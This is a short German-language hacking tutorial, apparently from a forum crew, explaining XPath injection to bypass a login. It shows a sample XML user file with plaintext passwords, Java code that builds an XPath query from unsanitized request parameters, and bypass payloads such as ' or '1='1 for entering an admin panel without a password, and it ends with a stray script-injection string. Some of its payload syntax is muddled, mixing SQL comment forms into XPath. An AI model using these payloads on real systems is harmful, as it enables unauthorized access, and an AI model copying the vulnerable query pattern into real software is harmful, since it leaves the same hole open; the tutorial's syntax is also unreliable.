XPATH Injection - Login Bypass

Nun möchte euch eine Art der XPATH Injection vorstellen.

Ich kenne nicht alle Arten , doch diese ist mir bekannt

Ich weiß nicht ob ihr euch schonmal über XPATH (xml) informiert habt

Vorab ;


xml dateien sind zumeist vom Administrator höchst wertvolle Dokumente , die zB den Login
richten können.

Ich zeige euch den Teil eines xml Login Dokumentes und werde euch den Vorgang
mit XPATH Injection erklären , sodass ihr denn Login über einen Bypass schafft

Code:
<?xml version="1.0" encoding="ISO-8859-1"?>
<users>
  <user>
    <id> 1 </id>
    <username> admin </username>
    <password> test123 </password>
  </user>
  <user>
    <id> 2 </id>
    <username> user </username>
    <password> pass </password>
  </user>
</users>
Der Coder hat den Path also den so genannten XPATH genau in seinem Script (der unten steht) angegeben.

Code:
String username = req.getParameter("username");
String password = req.getParameter("password");
XPathFactory factory = XPathFactory.newInstance();
XPath xpath = factory.newXPath();
File file = new File("/usr/webappdata/users.xml");
InputSource src = new InputSource(new FileInputStream(file));
XPathExpression expr = xpath.compile("//users[username/text()=' " +
    username + " ' and password/text()=' "+ password +" ']/id/text()");
Der Code ließt das xml Dokument und sucht nach den Daten die für den Login aufeinander stimmen.

Wir nehmen als login daten username=admin password=test123

Die Txt Zeilen Antwort wird also so lauten

[CODE] //users[username/text()='admin' and password/text()='test123']/id/ text()


Und hier werden wir die XPATH Injection mit Bypass beginnen

Da wir die Werte so anpassen konnten ohne das die Abfrage im ersten Login Dokument abgegeben werden ,
können wir diese mit ' or '1='1 oder etwas anderem (bypass) wie realusername' OR 1=1'-- / admin'-

beeinflussen und uns erfolgreich einloggen.

So können wir uns auch ohne das richtige Passwort einen Weg zum Administration Panel überbrücken.



###

visit www.acceptthefuture.wordpress.com
visit 1nj3ct-Crew - und3rcore

###

';alert(trisn)